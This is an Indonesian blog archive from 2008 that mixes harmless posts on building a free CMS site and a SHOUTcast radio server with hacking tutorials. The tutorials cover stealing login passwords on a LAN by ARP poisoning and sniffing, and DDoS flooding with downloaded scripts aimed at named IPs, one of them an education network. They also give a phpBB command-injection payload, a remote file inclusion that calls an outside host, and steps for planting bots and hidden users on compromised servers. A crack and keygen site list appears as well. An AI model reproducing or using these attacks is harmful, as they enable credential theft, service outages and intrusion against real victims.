Kitab tafsir init terkenal dengan bahasanya yang mudah dipahami serta terfokus pada titik-titik keimanan yang menjadikan buku tafsirnya dekat dihati para pembaca semuanya tafsir ini memiliki kelebihan khususnya pada susunan katanya yang begitu bersahabat dan sesuai dengan konteks kekinian.

(Comment by. M Hasbi)

Downlaod Disini

Cara hacking via LAN (untuk curi pass orang2 yang lagi browsing)

2008-09-13T23:16:00.001+02:00

Pertama-tama sorry kalo repost karena teknik ini bukanlah teknik yang fresh di dunia hacking tapi teknik ini belum basi karena sampai saat ini masih dapat digunakan karena sebagian besar jaringan meggunakan jaringan hub & switch yang tidak terenkripsi.
Mengapa tidak terenkripsi?

* Network Admin sebagian besar adalah orang IT yang specialist dalam membuat program, bukan dalam Network Security
* Bila dienkripsi bandwidth yang dibuthkan akan meningkat dan tentu inet yang sudah lemot ini akan semakin lemot dan akhirnya page error
* Harganya tidak murah untuk memperoleh yang terenkripsi

Perbedaan antara jaringan Hub dan Switch:

* Pada jaringan hub semua data yang mengalir di jaringan dapat dilihat/diambil oleh komputer manapun yang ada di jaringan asalakan komputer tersebut merequest data tersebut, kalo tidak direquest ya tidak akan datang.
* Pada jaringan switch hanya komputer yang melakukan pertukaran data yang dapat melihat data tersebut, komputer2 lain tidak berhak merequest data tersebut.

Masalahnya adalah harga dari router hub dan switch tidak berbeda jauh sehingga kebanyakan tempat sekarang sudah menggunakan metode switch yang menyulitkan untuk network hacking.

Hacking ini menggunakan teknik:

* Sniffing
* ARP Poison Routing

Kedua Teknik di atas tidak akan bisa dicegah oleh firewall apapun di komputer korban, dijamin.

Important Note: ARP Poison Routing dapat meyebabkan denial of service (dos) pada salah satu / semua komputer pada network anda

Kelebihan:

* Tidak akan terdeteksi oleh firewall tipe dan seri apapun karena kelemahannya terletak pada sistem jaringan bukan pada komputernya
* Bisa mencuri semua jenis login password yang melalui server HTTP
* Bisa mencuri semua login password orang yang ada di jaringan Hub selama program diaktifkan
* Untuk ARP Poisoning bisa digunakan untuk mencuri password di HTTPS
* Semua programnya free

Kekurangan:

* Untuk jaringan Switch harus di ARP poisoning 1 persatu dan bandwidth anda akan termakan banyak untuk hal itu (kalo inet super cepat ga masalah)
* Ketahuan / tidak oleh admin jaringan di luar tanggung jawab saya

Mulai dari sini anggap bahwa di network dalam kisah ini ada 3 komputer, yaitu:

* Komputer Korban
* Komputer Hacker
* Server

Perbedaan-perbedaan antara jaringan switch dan jaringan hub:
Langkah-langkah pertama:

1. Cek tipe jaringan anda, anda ada di jaringan switch / hub. Jika anda berada di jaringan hub bersyukurlah karena proses hacking anda akan jauh lebih mudah.
2. Download program-program yang dibutuhkan yaitu Wireshark dan Cain&Abel.
Code:

http://www.wireshark.org/download.html
http://www.oxid.it/cain.html

Cara Menggunakan WireShark:

* Jalankan program wireshark
* Tekan tombol Ctrl+k (klik capture lalu option)
* Pastikan isi pada Interfacenya adalah Ethernet Card anda yang menuju ke jaringan, bila bukan ganti dan pastikan pula bahwa “Capture packets in promiscuous mode” on
* Klik tombol start
* Klik tombol stop setelah anda merasa yakin bahwa ada password yang masuk selama anda menekan tombol start
* Anda bisa melihat semua jenis packet yang masuk dan keluar di jaringan (atau pada komputer anda saja jika network anda menggunakan Swtich
* Untuk menganalisis datanya klik kanan pada data yang ingin di analisis lalu klik “Follow TCP Stream” dan selamat menganalisis paketnya (saya tidak akan menjelaskan caranya karena saya tidak bisa )
* Yang jelas dari data itu pasti di dalamnya terdapat informasi2 yang dimasukkan korban ke website dan sebaliknya

Cara di atas hanya berlaku apabila jaringan anda adalah Hub bukan switch
Dari cara di atas anda dapat mengetahui bahwa jaringan anda adalah hub/switch dengan melihat pada kolom IP Source dan IP Destination. Bila pada setiap baris salah satu dari keduanya merupakan ip anda maka dapat dipastikan jaringan anda adalah jaringan switch, bila tidak ya berarti sebaliknya.

Cara Menggunakan Cain&Abel:

* Penggunaan program ini jauh lebih mudah dan simple daripada menggunakan wireshark, tetapi bila anda menginginkan semua packet yang sudah keluar dan masuk disarankan anda menggunakan program wireshark
* Buka program Cain anda
* Klik pada bagian configure
* Pada bagian “Sniffer” pilih ethernet card yang akan anda gunakan
* Pada bagian “HTTP Fields” anda harus menambahkan username fields dan password fields nya apabila yang anda inginkan tidak ada di daftar.
Sebagai contoh saya akan beritahukan bahwa kalo anda mau hack password Friendster anda harus menambahkan di username fields dan passworsd fields kata name, untuk yang lain anda bisa mencarinya dengan menekan klik kanan view source dan anda harus mencari variabel input dari login dan password website tersebut. Yang sudah ada di defaultnya rasanyan sudah cukup lengkap, anda dapat mencuri pass yang ada di klubmentari tanpa menambah apapun.
* Setelah itu apply settingannya dan klik ok
* Di menu utama terdapat 8 tab, dan yang akan dibahas hanya 1 tab yaitu tab “Sniffer” karena itu pilih lah tab tersebut dan jangan pindah2 dari tab tersebut untuk mencegah kebingungan anda sendiri
* Aktifkan Sniffer dengan cara klik tombol sniffer yang ada di atas tab2 tersebut, carilah tombol yang tulisannya “Start/Stop Sniffer”
* Bila anda ada di jaringan hub saat ini anda sudah bisa mengetahui password yang masuk dengan cara klik tab (Kali ini tab yang ada di bawah bukan yang di tengah, yang ditengah sudah tidak usah diklik-klik lagi) “Passwords”
* Anda tinggal memilih password dari koneksi mana yang ingin anda lihat akan sudah terdaftar di sana
* Bila anda ternyata ada di jaringan switch, ini membutuhkan perjuangan lebih, anda harus mengaktifkan APR yang tombolonya ada di sebelah kanan Sniffer (Dan ini tidak dijamin berhasil karena manage dari switch jauh lebih lengkap&secure dari hub)
* Sebelum diaktifkan pada tab sniffer yang bagian bawah pilih APR
* Akan terlihat 2 buah list yang masih kosong, klik list kosong bagian atas kemudian klik tombol “+” (Bentuknya seperti itu) yang ada di jajaran tombol sniffer APR dll
* Akan ada 2 buah field yang berisi semua host yang ada di jaringan anda
* Hubungkan antara alamat ip korban dan alamat ip gateway server (untuk mengetahui alamat gateway server klik start pada komp anda pilih run ketik cmd lalu ketik ipconfig pada command prompt)
* Setelah itu baru aktifkan APR, dan semua data dari komp korban ke server dapat anda lihat dengan cara yang sama.

Anda dapat menjalankan kedua program di atas secara bersamaan (Cain untuk APR dan wireshark untuk packet sniffing) bila ingin hasil yang lebih maksimal.

Password yang bisa anda curi adalah password yang ada di server HTTP (server yang tidak terenkripsi), bila data tersebut ada di server yang terenkripsi maka anda harus mendekripsi data tersebut sebelum memperoleh passwordnya (dan itu akan membutuhkan langkah2 yang jauh lebih panjang dari cara hack ini)

Untuk istilah-istilah yang tidak ngerti bisa dicari di wikipedia (tapi yang inggris ya kalo yang indo jg belum tentu ada).

CARA BIKIN WEBSITE PAKAI CMS GRATIS

2008-09-13T12:16:00.001+02:00

Written by Muhammad Hasbi
Tuesday, 26 August 2008

Oke saudara sedulur tes ah sedikit ngasih pengalaman neh dan sekarang mau tulis cara bikin website pakai CMS (Content Menagemen System) gratis tetep dengan kualitas BAYAR. Bahkan sampai anda beli Cpanel sendiri tetep caranya seperti ini Contoh: 1. www.majidah.co.cc 2. www.elfareni.co.cc 3. www.saibuumar.co.cc 4. http://www.maimunaly.co.cc/ 5. www.iklanmasisir.tk Anda bisa bikin SITUS BISNIS, PERSONALIA, FORUM, IKLAN dll... lengkap semua disana.

Cara bikinnya cukup koq..!! Ikuti ya langkah-langkahnya:

A. MEMILIH DOMAIN GRATIS
untuk domain gratis sangat banyak sekali di Internet mulai dari www.namasaya.co.cc, www.namasaya.go.cc, www.namasaya.tk, www.namasaya.co.nr dll... banyak Smiley

domain ini berfungsi sebagai alamat website kita ibarat rumah dia alamatnya saja cuma TANAH-nya, adapun nnt semua jenis barang dan lain-lain tersimpan di RUMAH dan istilahnya kalau di website adalah HOSTING sebagai penyimpanan file kita di website.

Ok.. next kita cari domain gratis dulu, sekarang kita contohkan ambil: www.namasaya.co.cc

Anda masuk kesini: https://www.co.cc
Register FREE DOMAIN, kemudian kalu sudah beres disana ada SETUP nah ambil yang bagisn pertama DNS, untuk DNS ini nanti diisi link Hosting anda... kosongin dulu OK.

==> Langkah Pertama sudah selesai (pembuatan DOMAIN) nanti domain anda www.namakamu.co.cc

B. MEMILIH HOSTING

Untuk memilih hosting gratis sangat banyak sekali bisa di www.byethost.com, www.awardspace.com namun saya sarankan ke byethost.com saja karena banyakj fitur menarik dah hostingnya besar dapat 350 Mb.

Caranya daftar hosting ke www.byethost.com:

Masuk situsnya www.byethost.com teruk klik Signup for free hosting

Hasilnya di save ya nnt buat di setupkan ke domain + website contoh ===>

Control Panel
Control panel user name
b5_2010981
Control panel password rahasia
Control panel URL http://panel.byethost.com
Files and FTP Settings
FTP user name b5_2010981
FTP password rahasia
FTP host name ftp.byethost5.com
File system path /home/vol6/byethost5.com/b5_2010981/htdocs
MySQL Settings
MySQL user b5_2010981
MySQL password rahasia
MySQL host sql101.byethost5.com
MySQL port 3306
Domain name
Your domain name http://fosmagati.byethost5.com
or
http://www.fosmagati.byethost5.com

==> Ok langkah ke 2 sudah beres BIKIN HOSTING

C. SETUP DNS HOSTING

Sekarang kamu masuk lagi ke https://www.co.cc terus LOGIN dengan Email + Password yang kamu daftarkan OK.... terus, kamu masuk ke Domain Menager klik SETUP.

Nah di DNS ada kolom pertama nah kamu masukin hasil daftar di hosting td
DNS isi ===> fosmagati.byethost5.com

Sudah beres dan UNTUK DELEGATE anda diharuskan menunggu 1 or 2 hari, (SABAR AJA NAMANYA JUGA GRATIS tp kualitas Wahid) OK.D. INSTALL SCRIPT WEBSITE

Script Website banyak sekali jenisnya, untuk keperluan website ada Joomla, Mamboo, Aura, dll.... begitu juga untuk keperluan Forum banyak juga ada SMF, PhpBB, Vbulletin, dll... untuk community building juga ada misal Dolphin dll...

Ok sekarang kita coba bikin website forum kayaForum Fosmagati ini...

1. Kamu buka hasil panel yang kamu daftarkan contoh:
Control panel password cirebon
Control panel URL http://panel.byethost.com

2. Kemudian kamu pilih di sana ada Fantastico Style Script
Proccess ==> dan pilih Script dan forum ini pakai SMF pilih SMF kemudian INSTALL.
Finish INstall. OK.. beres Install SCRIPT.

3. Berikutnya anda buka nama domain anda
Contoh: Your domain name http://fosmagati.byethost5.com

4. Sebelum anda mengisi MySQL database anda bikin dulu SQL baru di hosting anda klilk SQL Create misal kita bikin namanya "forum" hasilnya nama databasenya user_namadatabse (b5_2010981_forum) setelah itu kamu masukin tuh sesuai perintah:

COntohnya:
MySQL user b5_2010981
MySQL password rahasia
MySQL host sql101.byethost5.com
MySQL Name b5_2010981_forum

Kemudian NEXT...... dan kamu bikin untuk Admin UTAMA FORUM + masukin password di kolom Password SQL.

BERES.................... lalu hapus tuh FOLDER "INSTALL" di HOSTING ANDA.

Yaaaaaa...!! JAdi deh Wink GAMPANG KAN.. berikutnya anda tinggal EDIT SESUKA HATI.

inilah HASILNYA www.forum.fosmagati.com

ttd: M_Hasbi

ADA PERTANAYAN...??? SILAHKAN KOMENKAN DIABWAH..

TUTORIAL BIKIN PSYBNC DAN BOT

2008-09-12T22:47:00.001+02:00

#######################################
"cara bikin bot eggdrop NETGATE tcl "
######################################
1. pertama login shell anda
2. wget geocities.com/tusukaja/apiz.tar.gz
3. tar -zxvf apiz.tar.gz
4. cd .dat
5. ./ayu conf botnick identbot ip-shell channel owner
misal :
./ayu conf TestBot Bandunk 192.168.0.2 Bandunk a-peace <-- channel nggak pakai "#" - untuk melihat ip shell anda ketik --> //sbin/ifconfig atau ifconfig
6. ./dssl conf
7. /msg botnick hello <-- di mirc
8. selamat mencoba

############################
#"Cara bikin simple psybnc #
############################
1. login shell anda
2. wget geocities.com/mr_chatting_gtl/psy.tar.gz
3. tar -zxvf psy.tar.gz
4. cd .dat
5. ./config port-psybnc
misal : ./config 123456;./fuck;./run
jadi di mirc anda akan menggunakan /server ip-shell:123456
Selamat Mencoba

CARA MUDAH BIKIN PROXY

2008-09-12T22:45:00.001+02:00

tutorial ini mungkin dah banyak yang tau, tapi karna ada yang request, gw coba posting lagi deh di blog gw, kalo mo request tutor yang lain isi aja di shutbox gw, hihihii ntar insya allah di usahain deh.

1. wget http://geocities.com/mancik_banda/alat/proxy.tgz
2. tar -zxvf proxy.tgz
3. cd pro
4. ./xh -s "/usr/sbin/httpd" ./prox -a -d -p[portnya]
contoh : ./xh -s "/usr/sbin/httpd" ./prox -a -d -p8080

CARA CARI PROXY

2008-09-12T22:42:00.001+02:00

Sedikit tutorial buat nyari... umm.. lebih tepatnya *menyortir* working proxy.... lumayan buat koleksi

Pertama kita butuh sopwer *pengumpul* proxynya

Proxy Finder Enterprise

Sopwer kecil ini akan ngumpulin semua proxy dari situs2 free proxy...

http://rapidshare.com/files/110292098/ProxyFinderEnt-v2.5.rar

kita jalanin, find... biarin beberapa saat.... bakalan terkumpul ribuan proxy yang ga ngerti tuh valid pa engga..

kedua, save proxy tersebut, trus buka
Code:

http://www.checker.freeproxy.ru/checker/index.php

nembak ip orang

2008-09-12T22:36:00.001+02:00

berikut ini tutorial cara nembak ip orang atau istilah kerenya ddos ada beberapa tools yg sering digunakan untuk menembak ip orang….saya harap tutorial ini jangan pernah anda praktekan kecuali lagi terpaksa hihihi….

syarat pertama ada harus punya shell yang banyak biar manteb tu ddos na jangan tanggung2 100 shell aja hehehe

a. udp.pl

1. wget www.lotto-kim.net/eng/content/download/244/1416/file/udp.txt
2. perl udp.txt (ip) (port) (timer)
contoh :

perl udp.txt 212.111.11.11 80 99999999999999999999

b. Tembak.c

1. wget http://malanghack.net/alat/tembak.c
2. gcc -o tembak tembak.c
3. ./tembak (ip) (port)
contoh :

./tembak 212.111.11.11 80

c. VADIM

wget http://h1.ripway.com/balizombie/tools/vadim.tgz

tar zxvf vadim.TGZ

cd flood

./vadimII [IP.target] [PORT] 10 0

contoh :

./vadimII 212.111.11.11 80

mw tembak IP temen???

2008-09-12T21:54:00.001+02:00

berikut ini tutorial cara nembak ip orang atau istilah kerenya ddos ada beberapa tools yg sering digunakan untuk menembak ip orang….saya harap tutorial ini jangan pernah anda praktekan kecuali lagi terpaksa hahaha, hancurkan lawan mu, hihihihih

syarat pertama ya harus pake OS linux dumz

VADIM TOOLs

wget http://kj.890m.com/ekakj.tgz

tar zxvf ekakj.tgz

cd flood

./vadimII [IP.target] [PORT] [SIZE] [packet]

contoh untuk hancurkan jaringan jardiknas kota DPS…

./vadimII 118.98.172.234 80 10 0

hahahaha, mampus lah si jardiknas tsb….

Tembak IP/DNS

2008-09-12T21:35:00.001+02:00

Tembak IP/DNS

====================================

Cara Pertama

====================================

Contoh sasaran kita dengan IP : 202.143.48.20

# Pertama Login dulllu ke shell kamu Lalu Ketikkan Perintah dibawah ini :

gcc

w

cd /var/tmp/

ls -al

mkdir " "

wget http://www.carisendiri.dodol.blabla

tar zxvf contoh-1.9.9.1.tar.gz

cd oidentd-1.9.9.1/

./configure

make

make install

cd ..

ls -al

rm -rf " "

mkdir "..."

ls -al

cd ...

adduser valid

passwd valid

wget kotak-hitam.anaknaga.com/dinobebz.tar.gz

tar -zxvf dinobebz.tar.gz

cd dinobebz

./kik 'bash -i' ./bash

pico psybnc.conf

cd ..

ls -al

rm -rf dinobebz

rm -rf dinobebz.tar.gz

cd ..

adduser ekoy

passwd ekoy

cd /var/tmp/

ls -al

cd ...

wget http://www.geocities.com/finalheaven_ardi/tembak.c

gcc -o tembak tembak.c

./tembak

./tembak 202.143.48.20 3128

====================================

Cara Singkat nya

====================================

cd /var/tmp/

ls -al

cd ...

wget http://www.geocities.com/finalheaven_ardi/tembak.c

gcc -o tembak tembak.c

./tembak

./tembak XXX.XXX.XX.X 3128 <-------- ./tembak XXX.XXX.XX.X IP sasaran kita

Hingga muncul tulisan

Pasukan........ Tembaaaaaaaaaaaaaaaaaaaaak...!!!

Selesai sudah. tinggal mendengar kabar saja dari sasaran kita gimana rasanya lag .....He..he..he

hacking phpbb 2.0.10

2008-09-12T21:12:00.001+02:00

hacking phpbb 2.0.10

1. Cari sasaran menggunakan paman google. keywordnya = phpbb 2.0
Jangan menggunakan keyword viewtopic karena gak akan diijinkan.

2. Kunjungi alamat forum yang didapat. Lihat dan kunjungi hingga pada bagian address tertulis
http://sasaran.com/viewtopic.php?t=4(angka 4 bisa saja lain)

3. Kemudian pada bagian address coba tambahkan &highlight=%2527
http://sasaran.com/viewtopic.php?t=4&highlight=%2527

4. Jika yang muncul adalah error, maka bererti forumnya vuln (bolong). Jika tidak, cari sasaran lain. :-)

5. Setelah Muncul error coba tambahkan lagi menjadi

http://sasaran.com/viewtopic.php?t=t=4&highlight=%2527.passthru($HTTP_GET_VARS[cmd]).%2527&cmd=ls -al

6. Jika yang muncul adalah daftar nama file dan direktori, selamat anda telah berhasil masuk ke dalam sysytem sasaran

7. Jika ada error tetapi eksekusi perintah cmd= tidak berjalan kemungkinan fungsi passthru sudah dimatikan oleh admin. Cari sasaran lain.

Contoh forum yang vuln :
http://batam.linux.or.id/forumlinux/viewtopic.php?t=19

_________________________________________________________________________
Hacking PNphpBB2

1. Gunakan paman google, cari situs yang menggunakan PNphpBB2
keywordnya = allinurl:pnphpbb2 site:ru

2. Masuk ke halaman utama situs sasaran. -->> http://sasaran.ru

3. Tambahkan address-nya sehingga menjadi
http://sasaran.ru/modules/PNphpBB2/includes/function_admin.php?phpbb_root_path=http://nobodycare.com/php.jpg?

4. Jika yang muncul adalah php injection, selamat anda telah berhasil masuk ke dalam system korban. :-)

Bikin Bot di IRC

2008-09-12T19:20:00.004+02:00

Tulisan ini sengaja dibuka karena ada banyak permintaan dan pertanyaan temen2 tentang pembuatan bot di shell inject.

Tau kan apa itu bot? Bot itu kependekan dari Robot(alat yg bisa berjalan senditi dengan control). Tentunya temen2 sering melihat bot di channel2 IRC, ada bot game, guard dls....

Aku anggap kamu sudah bisa inject web ya.... Mari kita mulai..

* masuk ke shell kamu
* cari direktori yang memberikan permission 777 dengan command “find / -perm 777 -type d” jika ga ada, langsung aja menuju direktori /tmp ato /var/tmp
* wget file eggdropnya . commandnya “wget url/file” contoh: “wget indramayu.zzl.org/iccbot.tar.gz” jika ga berhasil, coba pake command lwp-download tapi dengan url yang lengkap, commandnya “lwp-download http://victim.com/iccbot.tar.gz”
* kalo ga bisa juga, pakailah script injectkan r57 ato c99 sehingga ada fitur uploadnya. dan uploadlah file botnya dengan fitur tersebut.
* aku anggap udah terupload ke server ya.. maka harus diextract dulu file tersebut dengan command “tar -zvxf iccbot.tgz”
* setelah diextract, masuk ke direktori pro dengan command “cd pro”
* buat konfigurasi, eksekusi file x, commandnya adalah “./x “
* jalankan eggdrop kamu. caranya “./dssl “
* klo pid dah keluar cek bot kamu di channel yg tadi set, ada?
* anggap aja ada. kirim pv ke bot kamu tadi ketik "hello" di pv bot.
* pasang password. masih di pv ketik "pass
* Bot dah jadi milik kamu sekarang. untuk masuk/login ketik `auth dan !auth di channel
* untuk perintah kumplit ketik "help" di pv/dcc bot

Ket:

1. Ini adalah tutor untuk pembuatan bot pada web hasil inject
2. Tutor ini hanya berjalan pada mesin Linux ato keluarga UNIX
3. Semua command di atas tanpa tkamu petik dua (”)
4. Klo ga pengen susah buat bot/pengen bot yg legal beli aja di ICCShells web : hrrp://shell.indramayu-cc.org

DDOS Website Yuk!!!!!!!!!

2008-09-12T19:20:00.003+02:00

DDOS Website Yuk!!!!!!!!!
pertama2 kita harus punya shell ato shell injek pun juga gpp kok.........

coba beli virtual private server, udah banyak kok reseler vps di indo..

coba masuk lewat ssh di vps anda........

ketik : wget http://packetstormsecurity.org/DoS/udp.pl

hasil :
Code:

[babycorp@babycorp ~]$ wget http://packetstormsecurity.org/DoS/udp.pl
--21:53:41-- http://packetstormsecurity.org/DoS/udp.pl
Resolving packetstormsecurity.org... 76.74.9.19
Connecting to packetstormsecurity.org|76.74.9.19|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1089 (1.1K) [text/x-perl]
Saving to: `udp.pl'

100%[=======================================>] 1,089 --.-K/s in 0s

21:53:41 (84.3 MB/s) - `udp.pl.1' saved [1089/1089]

sekarang kita coba website mana yg mau ddos.......

Code:

http://www.checkdns.net/quickcheckdomainf.aspx

setelah tau ip httpny dari website tersebut mari kita langsung serang aja port 80 nya dengan memakai command perl............

contoh command [KETIK]:
Code:

perl[spasi]udp.pl[spasi]IP[spasi]PORT[spasi]TIME
perl 77.92.xx.x 80 99999999999999999999999999999

mau tau hasilnya?????

hasil :
Code:

[babycorp@babycorp ~]$ perl udp.pl 77.92.79.1 80 9999999999999999999999999999
udp flood - odix

nach disini tergantung server yg kita ddos........

semakin kuat serverny semakin sulit untuk ddos website tersebut, nach caranya beli aja vps yg buanyak dan ddos 1 website.........

akan semakin sulit kl server tersebut dari liquidweb (cz dah pernah test)

mohoon maap y.......kl ada salah............

CARA MEMBUAT VIDEO TUTORIAL

2008-09-12T19:18:00.001+02:00

CARA MEMBUAT VIDEO TUTORIAL

Perlengkapan yang di perlukan:
-Software Buat Tutorial Video
-Crack Software (Software Trial/Demo/Shareware Menjadi Full Version)
-Situs Upload Video Gratis

Yang pasti, semuanya pasti berguna banget degh buat loe… Okeh, kita mulai ajah….
-Software Buat Tutorial Video
Software yang sayapake untuk buat Tutorial Video adalah ViewletCam versi 1.71 (0026).. Disini kamu bisa buat video dalam bentuk *.swf dan *avi, dan bisa juga mengubah/men-convert dari format *swf ke format *.exe (projector). Di versi 1.71 terdapat beberapa bahasa, ada fasilitas untuk masukin suara kamu, tambah tombol, gambar, kompres movie, dll.
Oke degh disini gue akan kasih contoh video yang udah gue buat dengan software itu, tapi gak pake suara, klik disini:http://img86.imageshack.us/my.php?image=videobo1.swf

Cara dapetin software ViewletCam versi 1.71 (0026)? Oke, loe bisa dapetin software itu di alamat www.qarbon.com, tapi itu versi trialnya… jadi waktu pemakaian softwarenya dibatasin, jadi kamu harus punya serial numbernya atau cracknya…
Di bawah (bagian 2), gue akan kasih tau cara gimana cara agar software Trial menjadi Full Version, jadi softwarenya bisa loe pake seumur hidup.. gak trial atau dibatesin waktunya.

-Crack Software
SOFTWARE TRIAL/DEMO/SHAWARE MENJADI FULL VERSION
Untuk mengubah software trial/demo/shaware menjadi full version sangat mudah. Langkah-langkahnya adalah sebagai berikut:
1. Instal software demo/trial yang Anda miliki.
2. Sesudah diinstal catat versi software tersebut. Untuk mengetahui versi software masuklah ke menu Help, lalu klik About. Pada bagian About inilah versi software dicantumkan, misalnya nama software v 2.3. Sekali lagi catat nama dan versi software.

Setelah nama dan versi software diketahui, akseslah internet. Masuklah ke salah situs berikut.
WWW: http://www.keygen.us
WWW: http://www.allseek.info
WWW: http://www.thebugs.ws
WWW: http://www.crackspider.net
WWW: http://www.crackspider.us
WWW: http://www.anycracks.com
WWW: http://www.bestserials.com
WWW: http://www.cracksportal.com
WWW: http://www.icracks.net
WWW: http://www.keygen.ru
WWW: http://www.mscracks.com
WWW: http://www.crackteam.ws

-Situs Upload Video Gratis
diantaranya:www.imageshack.us,www.youtube.com dll coba cari dengan bantuan GOOGLE

sumber: www.balqisnet.com

This entry was posted on October 30, 2007 at 6:1

BKIN RADIO STREAMING

2008-09-12T14:58:00.001+02:00

http://shoutcast.com/downloads/sc1-9-8/sc_serv_1.9.8_Linux.tar.gz
b. tar -zxvf sc_serv_1.9.8_Linux.tar.gz
c. ./sc_serv

yang dibutuhin ...

1. hak akses ssh
2. putty.exe (bisa cari digoogle untuk downloadnya dengan keyword "download putty.exe)

trs langkah pertama....
login dulu di SSHnya yang udah dapet user ama passnya

selesai login...langsung kita proses peng instalansinya

kita download dulu file "sc_serv_1.9.8_Linux.tar.gz" bisa diambil di http://shoutcast.com/downloads/sc1-9-8/sc_serv_1.9.8_Linux.tar.gz

langsung dikotak command ketik kayak gini
wget http://shoutcast.com/downloads/sc1-9-8/sc_serv_1.9.8_Linux.tar.gz
nanti hasilnya kayak gini

--20:33:55-- http://shoutcast.com/downloads/sc1-9-8/sc_serv_1.9.8_Linux.tar.gz
=> `sc_serv_1.9.8_Linux.tar.gz'
Resolving shoutcast.com... 205.188.234.120, 207.200.98.25
Connecting to shoutcast.com|205.188.234.120|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 60,840 (59K) [application/x-gzip]

100%[====================================>] 60,840 --.--K/s

20:33:55 (1.08 MB/s) - `sc_serv_1.9.8_Linux.tar.gz' saved [60840/60840]

langkah kedua
kita extract file yang terdownload tadi..commandnya

tar -zxvf sc_serv_1.9.8_Linux.tar.gz

README.TXT
sc_serv.conf
sc_serv

langkah ketiga

./sc_serv

nah hasilnya kayak gini

*******************************************************************************
** SHOUTcast Distributed Network Audio Server
** Copyright (C) 1998-2004 Nullsoft, Inc. All Rights Reserved.
** Use "sc_serv filename.ini" to specify an ini file.
*******************************************************************************

Event log:
<06/22/08@20:38:39> [SHOUTcast] DNAS/Linux v1.9.8 (Feb 28 2007) starting up...
<06/22/08@20:38:39> [main] pid: 23142
<06/22/08@20:38:39> [main] loaded config from sc_serv.conf
<06/22/08@20:38:39> [main] initializing (usermax:32 portbase:8000)...
<06/22/08@20:38:39> [main] No ban file found (sc_serv.ban)
<06/22/08@20:38:39> [main] No rip file found (sc_serv.rip)
<06/22/08@20:38:39> [main] opening source socket
<06/22/08@20:38:39> [main] source thread starting
<06/22/08@20:38:39> [main] opening client socket
<06/22/08@20:38:39> [main] Client Stream thread

* starting

<06/22/08@20:38:39> [main] client main thread starting
<06/22/08@20:38:39> [source] listening for connection on port 8001
<06/22/08@20:38:52> [sleeping] 0 listeners (0 unique)

nah proses pengen installan radio via ssh sudah selesai Smiley

skrg gmn caranya kita gunainnya ...contoh2 bagi para DJ2 radio Grin

langsung kita buka winamp harus udah terinstall plugiin SHOUTcast DSP Plug-In / bisa jg pake sam broadcaster

nah nah langsung teken ctrl+P terus klik plugin dsp di winamp
nah disitu kita terbuka windows SHOUT cast Source
langsung ke Output
tinggal isi aja
address : domain ssh
port : 8000
pass: gak usah dirubah biarin aja kayak gitu
yellowpages
Description : isi DEskripi radionya misalkan "radio FOSMAGATI EMANG OYEE"
URL : isi dengan ALAMAt webnya www.fosmagati.com
genre : terserah diisi apa

terus stel dulu lagunya diwinamp
tinggal klik connect
langsung suruh dengerin temen km dikomputer lain
contoh http://domainkamu:8000/listen.pls
nahh
selesai dah
Cheesy Smiley Cheesy Angry Sad

ada tambahan sedikit Tongue
tapi sebenernya sih buat Radio Online itu banyak caranya tergolong sangat mudah
bisa jadi kita langsung beli hosting streaming radio ..dan langsung jadi ..instant langsung siap dipakai (kayak indomie instant xixixi) tanpa perlu proses instalansi segala...
yaa mungkin itu yang saya tahuu Grin
mohon dikoreksi kl ada yang salah Grin
karena aku manusia biasa kayak lagunya seriues (rocker jg manusia)jiakakakka

mohon kritikannya dan sarannya
maklum masih OOn .. Grin

waduh kelamaan nih ngomongnya Grin

alhamdulillah Smiley
selesai sudah proses peng installan radio ONline via ssh...
weeitt udah jam 4 pagi bentar lagi subuh .....gak kerasa yaa
ya udah dulu yaa
sampai ketemu

kl masih belom ngerti ato mungkin ada saran dan kritikannya
bisa langsung contact via YM wong_crb2006@yahoo.com

wassalam

Server Installation

1. Download file server SHOUTcast from www.shoutcast.com/ download, and clik "be a server",

then choose a file for Linux. Next, unzip the file using Winzip. There you'll got 3 :README.TXT, sc_serv, dan sc_serv.conf. Read readme file first.

Login to CPanel, using "File Manager" to upload file. make a folder SHOUTcast out of folder public (public_html or www) savely. Next, upload 2 file: sc_serv and sc_serv.conf inside the folder you made it.

File sc_serv.conf used to make server configuration. Open file sc_serv.conf, less change the 3 content inside bellow:

MaxUser=32

(the number of 32 was a default SHOUTcast, it can be change based to your admin server deal)

Password=mypasword123

(fill with password you like)

PortBase=8000

(fill it based port number gived by the admin server).

Save the changed sc_serv.conf. After that, change thec acces file permisionof sc_serv with command "CHMOD" 755. From File Manager, click file sc_serv then click "Permission" on the right view and make it as 755. Save the changed.

Next, make sure you have Shell access in order the SHOUTcast working (if you don't have shell access, it mean the admin server was not allowed you to install it by yourself).

Open Putty software. you can download Putty, using Google Search, keyword "download putty". Get it first!

Open Putty, you'll asked about the IP address or website URL. Fill the web address, e.g : pesonafm.co.nr (without http://www), it will open the Putty. Then"login as" and "password" use the same with your CPanel account.

Login success, then go to SHOUTcast folder you made. If the name of this is "shoutcast", use command:

cd shoutcast

./sc_serv

(it will show you the installation)

Closing Putty without " kill" SHOUTcast server, push Control+Z then type "bg", mean the server will work in background mode. Finish and happy hearing and let the people listen your music on your radio online (streaming)

This how-to will not replicate TLG's How-To on installing a Shoutcast Server. Rather this focuses on those who do not wish to broadcast from a remote location and would rather have the server play Mp3 located on the same server based on a playlist. TLG How-To is found here: http://www.webhostingtalk.com/showthread.php?s=&threadid=227645

Please make sure you go through the above thread first do that first before you continue with this section. I will assume you have created a user just for running shoutcast (and isn't doing it from root) and you are currently running as that user. I will also assume you have already configured your shoutcast server (with passwords and so on).

Follow the steps:

1. Download: http://www.shoutcast.com/downloads/...s_posix_040.tgz

2. Untar
tar -zvxf sc_trans_posix_040.tgz

3. Configure
cd sc_trans_posix_040
pico sc_trans.conf

Make sure that the config file points to the Playlist file you are going to generate in step 4. You need to configure these configuration variables:
- PlayListfile
- ServerIP: This is the IP of your Shoutcast server which is probably the same server.
- ServerPort: Port 8000 is default
- Password: This is the password that you enter in the Shoutcast server configuration
- Bitrate: Depending on your radio, you can tweak the bitrate here
- The rest are fine default.

4. Create a playlist based on mp3s on the server:
find /path/to/mp3/directory -type f -name "*.mp3" > playlist.lst

5. Start your Shoutcast server
cd /path/to/shoutcast/server/
nohup ./sc_serv &

nohup and & is not compulsory but is nice to have. Nohup outputs to a log file and & runs the process in the background and returns you to shell.

6. Start your broadcast
cd /path/to/broadcast/server/
nohup ./sc_trans_linux &

It should now be playing. Access your server by going to http://serverip:8000/listen.pls or if there's an URL on that IP, you can use the URL as well.

